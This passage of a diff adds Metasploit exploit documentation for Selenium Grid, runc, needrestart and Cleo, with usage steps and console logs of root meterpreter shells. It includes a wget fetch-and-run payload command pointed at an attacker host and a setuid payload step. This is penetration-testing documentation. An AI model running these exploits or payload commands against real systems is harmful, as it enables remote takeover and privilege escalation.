option `FETCH_WRITABLE_DIR` to `/tmp` (this is mounted RW) otherwise the exploit will fail.
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
|
||||
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Selenium Server (Grid) before 4.0.0-alpha-7
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull selenium/standalone-chrome:3.141.59`
|
||||
|
||||
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options
|
||||
|
||||
Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 4444 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.5
|
||||
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.6
|
||||
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+167
@@ -0,0 +1,167 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
|
||||
allows CSRF because it permits non-JSON content types
|
||||
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
|
||||
At least, the number of sessions must be fewer than maxSessions for the exploit to succeed.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull selenium/standalone-firefox:3.141.59`
|
||||
|
||||
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### TIMEOUT (required)
|
||||
|
||||
This is the amount of time (in seconds) that the module will wait for the payload to be
|
||||
executed. Defaults to 75 seconds.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options
|
||||
|
||||
Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 4444 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TIMEOUT 75 yes Timeout for exploit (seconds)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
|
||||
[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922).
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900
|
||||
[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827).
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900
|
||||
[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.3
|
||||
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2).
|
||||
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900
|
||||
[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.4
|
||||
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (1657b5ac-c514-431f-8c83-761c14012869).
|
||||
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900
|
||||
[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.5
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write.
|
||||
Due to a file descriptor leak it is possible to mount the host file system
|
||||
with the permissions of runc (typically root).
|
||||
|
||||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
|
||||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
|
||||
Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
|
||||
Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.
|
||||
|
||||
### Arch Install
|
||||
|
||||
```
|
||||
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst
|
||||
pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst
|
||||
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst
|
||||
pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst
|
||||
systemctl start docker.service && systemctl enable docker.service
|
||||
usermod -aG docker <user>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest`
|
||||
|
||||
## FILEDESCRIPTOR
|
||||
|
||||
The file descriptor to use, typically `7` or `8`. Defaults to `8`
|
||||
The file descriptor to use, typically `7` or `8`. Defaults to `7`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
|
||||
|
||||
@@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### Debian 12.4
|
||||
|
||||
```
|
||||
msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.20.24:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected
|
||||
[*] Creating directory /tmp/.jwBZNB
|
||||
[*] /tmp/.jwBZNB created
|
||||
[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7
|
||||
[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile
|
||||
[*] Building from Dockerfile to set our payload permissions
|
||||
[*] #0 building with "default" instance using docker driver
|
||||
[*]
|
||||
[*] #1 [internal] load build definition from Dockerfile
|
||||
[*] #1 transferring dockerfile: 217B done
|
||||
[*] #1 DONE 0.0s
|
||||
[*]
|
||||
[*] #2 [internal] load metadata for docker.io/library/alpine:latest
|
||||
[*] #2 DONE 3.5s
|
||||
[*]
|
||||
[*] #3 [internal] load .dockerignore
|
||||
[*] #3 transferring context: 2B done
|
||||
[*] #3 DONE 0.0s
|
||||
[*]
|
||||
[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
|
||||
[*] #4 DONE 0.0s
|
||||
[*]
|
||||
[*] #5 [2/3] WORKDIR /proc/self/fd/7
|
||||
[*] #5 CACHED
|
||||
[*]
|
||||
[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7
|
||||
[*] #6 DONE 0.3s
|
||||
[*]
|
||||
[*] #7 exporting to image
|
||||
[*] #7 exporting layers 0.0s done
|
||||
[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done
|
||||
[*] #7 DONE 0.1s
|
||||
[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
|
||||
[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
|
||||
[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.20.25
|
||||
[+] Deleted /tmp/.jwBZNB/.cleXu7
|
||||
[+] Deleted /tmp/.jwBZNB/Dockerfile
|
||||
[+] Deleted /tmp/.jwBZNB
|
||||
[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.20.25
|
||||
OS : Debian 12.4 (Linux 6.1.0-17-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Arch
|
||||
|
||||
```
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
|
||||
[*] Creating directory /home/user/.mpjj2xVK6
|
||||
[*] /home/user/.mpjj2xVK6 created
|
||||
[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile
|
||||
RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] Building from Dockerfile to set our payload permissions
|
||||
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
|
||||
[*] Install the buildx component to build images with BuildKit:
|
||||
[*] https://docs.docker.com/go/buildx/
|
||||
[*]
|
||||
[*] Sending build context to Docker daemon 3.072kB
|
||||
[*] Step 1/3 : FROM alpine:latest
|
||||
[*] ---> 4048db5d3672
|
||||
[*] Step 2/3 : WORKDIR /proc/self/fd/8
|
||||
[*] ---> Using cache
|
||||
[*] ---> 6421d9ffc175
|
||||
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] ---> Running in 09b17fa56c44
|
||||
[*] Removing intermediate container 09b17fa56c44
|
||||
[*] ---> 38c39324ec16
|
||||
[*] Successfully built 38c39324ec16
|
||||
[*] Removing created docker image 38c39324ec16
|
||||
[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6
|
||||
true
|
||||
-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[+] Deleted /home/user/.mpjj2xVK6/Dockerfile
|
||||
[+] Deleted /home/user/.mpjj2xVK6
|
||||
[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500
|
||||
|
||||
(Meterpreter 11)(/home/user) > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,144 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Local attackers can execute arbitrary code as root by
|
||||
tricking needrestart into running the Python interpreter with an
|
||||
attacker-controlled PYTHONPATH environment variable.
|
||||
|
||||
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
|
||||
|
||||
Exploitation against vulnerable needrestart versions on
|
||||
Debian 12 and Fedora 39 were unsuccessful
|
||||
however install and run instructions are listed below.
|
||||
|
||||
### Debian
|
||||
|
||||
Install: `apt-get install needrestart=3.6-4+deb12u1`
|
||||
|
||||
Binary location: `/usr/sbin/needrestart`
|
||||
|
||||
### Fedora 39
|
||||
|
||||
Install: `dnf install needrestart-3.6-9.fc39.noarch`
|
||||
|
||||
Binary location: `/usr/sbin/needrestart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get an initial shell
|
||||
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
|
||||
5. Do: `set lhost <ip>`
|
||||
6. Do: `set lport <port>`
|
||||
7. Do: `set session <session>`
|
||||
8. Do: `run`
|
||||
9. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
### ListenerTimeout
|
||||
|
||||
The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
|
||||
|
||||
Gain initial shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/script/web_delivery
|
||||
998
|
||||
run[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set target 7
|
||||
target => 7
|
||||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(multi/script/web_delivery) > set lport 4998
|
||||
lport => 4998
|
||||
msf6 exploit(multi/script/web_delivery) > set srvport 8998
|
||||
srvport => 8998
|
||||
msf6 exploit(multi/script/web_delivery) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4998
|
||||
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Priv Esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
|
||||
lport => 4977
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4977
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
|
||||
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
|
||||
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
|
||||
[*] Uploading payload: /tmp/.1K8Hy2tOtq
|
||||
[*] Creating directory /tmp/importlib
|
||||
[*] /tmp/importlib created
|
||||
[*] Uploading c_stub: /tmp/importlib/__init__.so
|
||||
[*] Uploading py_script: /tmp/.FzzlJ
|
||||
[*] Launching exploit, and waiting for needrestart to run...
|
||||
```
|
||||
|
||||
On the remote Ubuntu box run `sudo needrestart`
|
||||
|
||||
```
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
|
||||
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
|
||||
[*]
|
||||
[*] Traceback (most recent call last):
|
||||
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
|
||||
[*] exec(line)
|
||||
[*] File "<string>", line 1, in <module>
|
||||
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
|
||||
[*]
|
||||
[*] Remainder of file ignored
|
||||
[*] #########################
|
||||
[*]
|
||||
[*] Dont mind the error message above
|
||||
[*]
|
||||
[*] Waiting for needrestart to run...
|
||||
[*] Payload owned by: root
|
||||
[+] Deleted /tmp/.1K8Hy2tOtq
|
||||
[+] Deleted /tmp/.FzzlJ
|
||||
[+] Deleted /tmp/importlib
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500
|
||||
|
||||
meterpreter >
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,177 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
|
||||
versions 5.8.0.23 and below.
|
||||
|
||||
For a full technical analysis, please see our
|
||||
AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis).
|
||||
|
||||
## Testing
|
||||
You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom
|
||||
can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf).
|
||||
During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux
|
||||
you will download the `install.bin` file. Running the installer to complete the installation.
|
||||
|
||||
By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connections to this port
|
||||
from your firewall.
|
||||
|
||||
If testing the default Windows payloads, you should disable Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/cleo_rce_cve_2024_55956`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set LHOST eth0`
|
||||
5. `set LPORT 4444`
|
||||
6. `set target 0`
|
||||
7. `set PAYLOAD java/meterpreter/reverse_tcp`
|
||||
8. `check`
|
||||
9. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Java
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
|
||||
RHOSTS => 192.168.86.50
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
|
||||
LHOST => 192.168.86.42
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0
|
||||
target => 1
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp
|
||||
payload => java/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
|
||||
|
||||
Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 5080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
